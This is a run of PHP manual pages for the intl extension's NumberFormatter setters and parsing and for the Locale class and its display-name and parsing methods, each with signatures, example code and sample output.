
type

The formatting type to use. By default, NumberFormatter::TYPE_DOUBLE is used.

position

Offset in the string at which to begin parsing. On return, this value will hold the offset at which parsing ended.

Return Values

The value of the parsed number or FALSE on error.

Examples

Example #1 numfmt_parse() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo numfmt_parse($fmt, $num)."\n";
echo numfmt_parse($fmt, $num, NumberFormatter::TYPE_INT32)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo $fmt->parse($num)."\n";
echo $fmt->parse($num, NumberFormatter::TYPE_INT32)."\n";
?>

The above example will output:

1234567.891
1234567

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_format() - Format a number
  • numfmt_parse_currency() - Parse a currency number

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::parseCurrency
NumberFormatter::setAttribute
NumberFormatter


Set an attribute

NumberFormatter::parse
NumberFormatter::setPattern
NumberFormatter
PHP Manual

NumberFormatter::setAttribute

numfmt_set_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::setAttribute -- numfmt_set_attribute — Set an attribute

Description

Object oriented style

bool NumberFormatter::setAttribute ( int $attr , int $value )

Procedural style

bool numfmt_set_attribute ( NumberFormatter $fmt , int $attr , int $value )

Set a numeric attribute associated with the formatter. An example of a numeric attribute is the number of integer digits the formatter will produce.

Parameters

fmt

NumberFormatter object.

attr

Attribute specifier - one of the numeric attribute constants.

value

The attribute value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 numfmt_set_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Digits: 3
1.234.567,891
Digits: 2
1.234.567,89

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_attribute() - Get an attribute
  • numfmt_set_text_attribute() - Set a text attribute

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::parse
NumberFormatter::setPattern
NumberFormatter


Set formatter pattern

NumberFormatter::setAttribute
NumberFormatter::setSymbol
NumberFormatter
PHP Manual

NumberFormatter::setPattern

numfmt_set_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::setPattern -- numfmt_set_pattern — Set formatter pattern

Description

Object oriented style

bool NumberFormatter::setPattern ( string $pattern )

Procedural style

bool numfmt_set_pattern ( NumberFormatter $fmt , string $pattern )

Set the pattern used by the formatter. Can not be used on a rule-based formatter.

Parameters

fmt

NumberFormatter object.

pattern

Pattern in syntax described in » ICU DecimalFormat documentation.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 numfmt_set_pattern() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Pattern: #,##0.###
1.234.567,891
Pattern: #0.# kg
1234567,9 kg

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_create() - Create a number formatter
  • numfmt_get_pattern() - Get formatter pattern

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::setAttribute
NumberFormatter::setSymbol
NumberFormatter


Set a symbol value

NumberFormatter::setPattern
NumberFormatter::setTextAttribute
NumberFormatter
PHP Manual

NumberFormatter::setSymbol

numfmt_set_symbol

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::setSymbol -- numfmt_set_symbol — Set a symbol value

Description

Object oriented style

bool NumberFormatter::setSymbol ( int $attr , string $value )

Procedural style

bool numfmt_set_symbol ( NumberFormatter $fmt , int $attr , string $value )

Set a symbol associated with the formatter. The formatter uses symbols to represent the special locale-dependent characters in a number, for example the percent sign. This API is not supported for rule-based formatters.

Parameters

fmt

NumberFormatter object.

attr

Symbol specifier, one of the format symbol constants.

value

Text for the symbol.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 numfmt_set_symbol() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Sep: .
1.234.567,891
Sep: *
1*234*567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_symbol() - Get a symbol value

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::setPattern
NumberFormatter::setTextAttribute
NumberFormatter


Set a text attribute

NumberFormatter::setSymbol
Locale
NumberFormatter
PHP Manual

NumberFormatter::setTextAttribute

numfmt_set_text_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::setTextAttribute -- numfmt_set_text_attribute — Set a text attribute

Description

Object oriented style

bool NumberFormatter::setTextAttribute ( int $attr , string $value )

Procedural style

bool numfmt_set_text_attribute ( NumberFormatter $fmt , int $attr , string $value )

Set a text attribute associated with the formatter. An example of a text attribute is the suffix for positive numbers. If the formatter does not understand the attribute, U_UNSUPPORTED_ERROR error is produced. Rule-based formatters only understand NumberFormatter::DEFAULT_RULESET and NumberFormatter::PUBLIC_RULESETS.

Parameters

fmt

NumberFormatter object.

attr

Attribute specifier - one of the text attribute constants.

value

Text for the attribute value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 numfmt_set_text_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

The above example will output:

Prefix: -
-1.234.567,891
Prefix: MINUS
MINUS1.234.567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_text_attribute() - Get a text attribute
  • numfmt_set_attribute() - Set an attribute

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::setSymbol
Locale
NumberFormatter


The Locale class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

A "Locale" is an identifier used to get language, culture, or regionally-specific behavior from an API. PHP locales are organized and identified the same way that the CLDR locales used by ICU (and many vendors of Unix-like operating systems, the Mac, Java, and so forth) use. Locales are identified using RFC 4646 language tags (which use hyphen, not underscore) in addition to the more traditional underscore-using identifiers. Unless otherwise noted the functions in this class are tolerant of both formats.

Examples of identifiers include:

  • en-US (English, United States)
  • zh-Hant-TW (Chinese, Traditional Script, Taiwan)
  • fr-CA, fr-FR (French for Canada and France respectively)

The Locale class (and related procedural functions) are used to interact with locale identifiers--to verify that an ID is well-formed, valid, etc. The extensions used by CLDR in UAX #35 (and inherited by ICU) are valid and used wherever they would be in ICU normally.

Locales cannot be instantiated as objects. All of the functions/methods provided are static.

The null or empty string obtains the "root" locale. The "root" locale is equivalent to "en_US_POSIX" in CLDR. Language tags (and thus locale identifiers) are case insensitive. There exists a canonicalization function to make case match the specification.

Class synopsis

Locale {
/* Methods */
static string acceptFromHttp ( string $header )
static string composeLocale ( array $subtags )
static bool filterMatches ( string $langtag , string $locale [, bool $canonicalize = false ] )
static array getAllVariants ( string $locale )
static string getDefault ( void )
static string getDisplayLanguage ( string $locale [, string $in_locale ] )
static string getDisplayName ( string $locale [, string $in_locale ] )
static string getDisplayRegion ( string $locale [, string $in_locale ] )
static string getDisplayScript ( string $locale [, string $in_locale ] )
static string getDisplayVariant ( string $locale [, string $in_locale ] )
static array getKeywords ( string $locale )
static string getPrimaryLanguage ( string $locale )
static string getRegion ( string $locale )
static string getScript ( string $locale )
static string lookup ( array $langtag , string $locale [, bool $canonicalize = false [, string $default ]] )
static array parseLocale ( string $locale )
static bool setDefault ( string $locale )
}

Predefined Constants

Locale::DEFAULT_LOCALE (null)
Used as locale parameter with the methods of the various locale affected classes, such as NumberFormatter. This constant would make the methods to use default locale.

These constants describe the choice of the locale for getLocalte method of different classes.

Locale::ACTUAL_LOCALE (string)
This is locale the data actually comes from.
Locale::VALID_LOCALE (string)
This is the most specific locale supported by ICU.

These constants define how the Locales are parsed or composed. They should be used as keys in the argument array to locale_compose() and are returned from locale_parse() as keys of the returned associative array.

Locale::LANG_TAG (string)
Language subtag
Locale::EXTLANG_TAG (string)
Extended language subtag
Locale::SCRIPT_TAG (string)
Script subtag
Locale::REGION_TAG (string)
Region subtag
Locale::VARIANT_TAG (string)
Variant subtag
Locale::GRANDFATHERED_LANG_TAG (string)
Grandfathered Language subtag
Locale::PRIVATE_TAG (string)
Private subtag

See Also

  • » RFC 4646 - Tags for Identifying Languages
  • » RFC 4647 - Matching of Language Tags
  • » Unicode CLDR Project:Common Locale Data Repository
  • » IANA Language Subtags Registry
  • » ICU User Guide - Locale
  • » ICU Locale api

Table of Contents

  • Locale::acceptFromHttp — Tries to find out best available locale based on HTTP "Accept-Language" header
  • Locale::composeLocale — Returns a correctly ordered and delimited locale ID
  • Locale::filterMatches — Checks if a language tag filter matches with locale
  • Locale::getAllVariants — Gets the variants for the input locale
  • Locale::getDefault — Gets the default locale value from the INTL global 'default_locale'
  • Locale::getDisplayLanguage — Returns an appropriately localized display name for language of the inputlocale
  • Locale::getDisplayName — Returns an appropriately localized display name for the input locale
  • Locale::getDisplayRegion — Returns an appropriately localized display name for region of the input locale
  • Locale::getDisplayScript — Returns an appropriately localized display name for script of the input locale
  • Locale::getDisplayVariant — Returns an appropriately localized display name for variants of the input locale
  • Locale::getKeywords — Gets the keywords for the input locale
  • Locale::getPrimaryLanguage — Gets the primary language for the input locale
  • Locale::getRegion — Gets the region for the input locale
  • Locale::getScript — Gets the script for the input locale
  • Locale::lookup — Searches the language tag list for the best match to the language
  • Locale::parseLocale — Returns a key-value array of locale ID subtag elements.
  • Locale::setDefault — sets the default runtime locale

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::setTextAttribute
Locale::acceptFromHttp
intl


Tries to find out best available locale based on HTTP "Accept-Language" header

Locale
Locale::composeLocale
Locale
PHP Manual

Locale::acceptFromHttp

locale_accept_from_http

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::acceptFromHttp -- locale_accept_from_http — Tries to find out best available locale based on HTTP "Accept-Language" header

Description

Object oriented style

static string Locale::acceptFromHttp ( string $header )

Procedural style

string locale_accept_from_http ( string $header )

Tries to find locale that can satisfy the language list that is requested by the HTTP "Accept-Language" header.

Parameters

header

The string containing the "Accept-Language" header according to format in RFC 2616.

Return Values

The corresponding locale identifier.

Examples

Example #1 locale_accept_from_http() example

<?php
$locale = locale_accept_from_http($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

Example #2 OO example

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

The above example will output:

en_US

See Also

  • locale_lookup() - Searches the language tag list for the best match to the language

User Contributed Notes

There are no user contributed notes for this page.
Locale
Locale::composeLocale
Locale


Returns a correctly ordered and delimited locale ID

Locale::acceptFromHttp
Locale::filterMatches
Locale
PHP Manual

Locale::composeLocale

locale_compose

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::composeLocale -- locale_compose — Returns a correctly ordered and delimited locale ID

Description

Object oriented style

static string Locale::composeLocale ( array $subtags )

Procedural style

string locale_compose ( array $subtags )

Returns a correctly ordered and delimited locale ID the keys identify the particular locale ID subtags, and the values are the associated subtag values.

Parameters

subtags

an array containing a list of key-value pairs, where the keys identify the particular locale ID subtags, and the values are the associated subtag values.

Note:

The 'variant' and 'private' subtags can take maximum 15 values whereas 'extlang' can take maximum 3 values.e.g. Variants are allowed with the suffix ranging from 0-14. Hence the keys for the input array can be variant0, variant1, ...,variant14. In the returned locale id, the subtag is ordered by suffix resulting in variant0 followed by variant1 followed by variant2 and so on.

The 'variant', 'private' and 'extlang' multiple values can be specified both as array under specific key (e.g. 'variant') and as multiple numbered keys (e.g. 'variant0', 'variant1', etc.).

Return Values

The corresponding locale identifier.

Examples

Example #1 locale_compose() example

<?php
$arr = array(
    'language'=>'en' ,
    'script'  =>'Hans' ,
    'region'  =>'CN',
    'variant2'=>'rozaj' ,
    'variant1'=>'nedis' ,
    'private1'=>'prv1' ,
    'private2'=>'prv2'
);
echo locale_compose( $arr );
?>

Example #2 OO example

<?php
$arr = array(
    'language'=>'en' ,
    'script'  =>'Hans' ,
    'region'  =>'CN',
    'variant2'=>'rozaj' ,
    'variant1'=>'nedis' ,
    'private1'=>'prv1' ,
    'private2'=>'prv2'
);
echo Locale::composeLocale( $arr );
?>

The above example will output:

Locale: en_Hans_CN_nedis_rozaj_x_prv1_prv2

See Also

  • locale_parse() - Returns a key-value array of locale ID subtag elements.

User Contributed Notes

There are no user contributed notes for this page.
Locale::acceptFromHttp
Locale::filterMatches
Locale


Checks if a language tag filter matches with locale

Locale::composeLocale
Locale::getAllVariants
Locale
PHP Manual

Locale::filterMatches

locale_filter_matches

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::filterMatches -- locale_filter_matches — Checks if a language tag filter matches with locale

Description

Object oriented style

static bool Locale::filterMatches ( string $langtag , string $locale [, bool $canonicalize = false ] )

Procedural style

bool locale_filter_matches ( string $langtag , string $locale [, bool $canonicalize = false ] )

Checks if a $langtag filter matches with $locale according to RFC 4647's basic filtering algorithm

Parameters

langtag

The language tag to check

locale

The language range to check against

canonicalize

If true, the arguments will be converted to canonical form before matching.

Return Values

TRUE if $locale matches $langtag FALSE otherwise.

Examples

Example #1 locale_filter_matches() example

<?php
echo (locale_filter_matches('de-DEVA','de-DE', false)) ? "Matches" : "Does not match";
echo '; ';
echo (locale_filter_matches('de-DE_1996','de-DE', false)) ? "Matches" : "Does not match";
?>

Example #2 OO example

<?php
echo (Locale::filterMatches('de-DEVA','de-DE', false)) ? "Matches" : "Does not match";
echo '; ';
echo (Locale::filterMatches('de-DE-1996','de-DE', false)) ? "Matches" : "Does not match";
?>

The above example will output:

Does not match; Matches

See Also

  • locale_lookup() - Searches the language tag list for the best match to the language

User Contributed Notes

There are no user contributed notes for this page.
Locale::composeLocale
Locale::getAllVariants
Locale


Gets the variants for the input locale

Locale::filterMatches
Locale::getDefault
Locale
PHP Manual

Locale::getAllVariants

locale_get_all_variants

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getAllVariants -- locale_get_all_variants — Gets the variants for the input locale

Description

Object oriented style

static array Locale::getAllVariants ( string $locale )

Procedural style

array locale_get_all_variants ( string $locale )

Gets the variants for the input locale

Parameters

locale

The locale to extract the variants from

Return Values

The array containing the list of all variants subtag for the locale or NULL if not present

Examples

Example #1 locale_get_all_variants() example

<?php
$arr = locale_get_all_variants('sl_IT_NEDIS_ROJAZ_1901');
var_export( $arr );
?>

Example #2 OO example

<?php
 $arr = Locale::getAllVariants('sl_IT_NEDIS_ROJAZ_1901');
 var_export( $arr );
?>

The above example will output:

array (
    0 => 'NEDIS',
    1 => 'ROJAZ',
    2 => '1901',
)

See Also

  • locale_get_primary_language() - Gets the primary language for the input locale
  • locale_get_script() - Gets the script for the input locale
  • locale_get_region() - Gets the region for the input locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::filterMatches
Locale::getDefault
Locale


Gets the default locale value from the INTL global 'default_locale'

Locale::getAllVariants
Locale::getDisplayLanguage
Locale
PHP Manual

Locale::getDefault

locale_get_default

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDefault -- locale_get_default — Gets the default locale value from the INTL global 'default_locale'

Description

Object oriented style

static string Locale::getDefault ( void )

Procedural style

string locale_get_default ( void )

Gets the default locale value. At the PHP initialization this value is set to 'intl.default_locale' value from php.ini if that value exists or from ICU's function uloc_getDefault().

Parameters

Return Values

The current runtime locale

Examples

Example #1 locale_get_default() example

<?php
ini_set('intl.default_locale', 'de-DE');
echo locale_get_default();
echo '; ';
locale_set_default('fr');
echo locale_get_default();
?>

Example #2 OO example

<?php
ini_set('intl.default_locale', 'de-DE');
echo Locale::getDefault();
echo '; ';
Locale::setDefault('fr');
echo Locale::getDefault();
?>

The above example will output:

de-DE; fr

See Also

  • locale_set_default() - sets the default runtime locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getAllVariants
Locale::getDisplayLanguage
Locale


Returns an appropriately localized display name for language of the inputlocale

Locale::getDefault
Locale::getDisplayName
Locale
PHP Manual

Locale::getDisplayLanguage

locale_get_display_language

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayLanguage -- locale_get_display_language — Returns an appropriately localized display name for language of the inputlocale

Description

Object oriented style

static string Locale::getDisplayLanguage ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_language ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for language of the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display language for

in_locale

Optional format locale to use to display the language name

Return Values

display name of the language for the $locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_language() example

<?php
echo locale_get_display_language('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Slovenian;
slov\xc3\xa8ne;
Slowenisch

See Also

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

heitor dot siller at gmail dot com 24-Jul-2011 02:43
To display special characters correctly in a web browser, it's a good idea to decode the result data with utf8_decode:

<?php

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr'));

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'pt-BR'));

?>
Locale::getDefault
Locale::getDisplayName
Locale


Returns an appropriately localized display name for the input locale

Locale::getDisplayLanguage
Locale::getDisplayRegion
Locale
PHP Manual

Locale::getDisplayName

locale_get_display_name

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayName -- locale_get_display_name — Returns an appropriately localized display name for the input locale

Description

Object oriented style

static string Locale::getDisplayName ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_name ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display name for.

in_locale

optional format locale

Return Values

Display name of the locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_name() example

<?php
echo locale_get_display_name('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Slovenian (Latin, Italy, Natisone dialect);
slov\xc3\xa8ne (latin, Italie, dialecte de Natisone;
Slowenisch (Lateinisch, Italien, NEDIS)

See Also

  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getDisplayLanguage
Locale::getDisplayRegion
Locale


Returns an appropriately localized display name for region of the input locale

Locale::getDisplayName
Locale::getDisplayScript
Locale
PHP Manual

Locale::getDisplayRegion

locale_get_display_region

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayRegion -- locale_get_display_region — Returns an appropriately localized display name for region of the input locale

Description

Object oriented style

static string Locale::getDisplayRegion ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_region ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for region of the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display region for.

in_locale

Optional format locale to use to display the region name

Return Values

display name of the region for the $locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_region() example

<?php
echo locale_get_display_region('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Italy;
Italie;
Italien

See Also

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getDisplayName
Locale::getDisplayScript
Locale


Returns an appropriately localized display name for script of the input locale

Locale::getDisplayRegion
Locale::getDisplayVariant
Locale
PHP Manual

Locale::getDisplayScript

locale_get_display_script

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayScript -- locale_get_display_script — Returns an appropriately localized display name for script of the input locale

Description

Object oriented style

static string Locale::getDisplayScript ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_script ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for script of the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display script for

in_locale

Optional format locale to use to display the script name

Return Values

Display name of the script for the $locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_script() example

<?php
echo locale_get_display_script('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Latin;
latin;
Lateinisch

See Also

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getDisplayRegion
Locale::getDisplayVariant
Locale


Returns an appropriately localized display name for variants of the input locale

Locale::getDisplayScript
Locale::getKeywords
Locale
PHP Manual

Locale::getDisplayVariant

locale_get_display_variant

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayVariant -- locale_get_display_variant — Returns an appropriately localized display name for variants of the input locale

Description

Object oriented style

static string Locale::getDisplayVariant ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_variant ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for variants of the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display variant for

in_locale

Optional format locale to use to display the variant name

Return Values

Display name of the variant for the $locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_variant() example

<?php
echo locale_get_display_variant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Natisone dialect;
dialecte de Natisone;
NEDIS

See Also

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getDisplayScript
Locale::getKeywords
Locale


Gets the keywords for the input locale

Locale::getDisplayVariant
Locale::getPrimaryLanguage
Locale
PHP Manual

Locale::getKeywords

locale_get_keywords

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getKeywords -- locale_get_keywords — Gets the keywords for the input locale

Description

Object oriented style

static array Locale::getKeywords ( string $locale )

Procedural style

array locale_get_keywords ( string $locale )

Gets the keywords for the input locale.

Parameters

locale

The locale to extract the keywords from

Return Values

Associative array containing the keyword-value pairs for this locale

Examples

Example #1 locale_get_keywords() example

<?php
$keywords_arr = locale_get_keywords( 'de_DE@currency=EUR;collation=PHONEBOOK' );
if ($keywords_arr) {
    foreach ($keywords_arr as $key => $value) {
        echo "$key = $value\n";
    }
}
?>

Example #2 OO example

<?php
$keywords_arr = Locale::getKeywords( 'de_DE@currency=EUR;collation=PHONEBOOK' );
if ($keywords_arr) {
    foreach( $keywords_arr as $key => $value){
        echo "$key = $value\n";
    }
}
?>

The above example will output:

collation = PHONEBOOK
currency = EUR

See Also

  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getDisplayVariant
Locale::getPrimaryLanguage
Locale


Gets the primary language for the input locale

Locale::getKeywords
Locale::getRegion
Locale
PHP Manual

Locale::getPrimaryLanguage

locale_get_primary_language

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getPrimaryLanguage -- locale_get_primary_language — Gets the primary language for the input locale

Description

Object oriented style

static string Locale::getPrimaryLanguage ( string $locale )

Procedural style

string locale_get_primary_language ( string $locale )

Gets the primary language for the input locale

Parameters

locale

The locale to extract the primary language code from

Return Values

The language code associated with the language or NULL in case of error.

Examples

Example #1 locale_get_primary_language() example

<?php
echo locale_get_primary_language('zh-Hant');
?>

Example #2 OO example

<?php
echo Locale::getPrimaryLanguage('zh-Hant');
?>

The above example will output:

zh

See Also

  • locale_get_script() - Gets the script for the input locale
  • locale_get_region() - Gets the region for the input locale
  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getKeywords
Locale::getRegion
Locale


Gets the region for the input locale

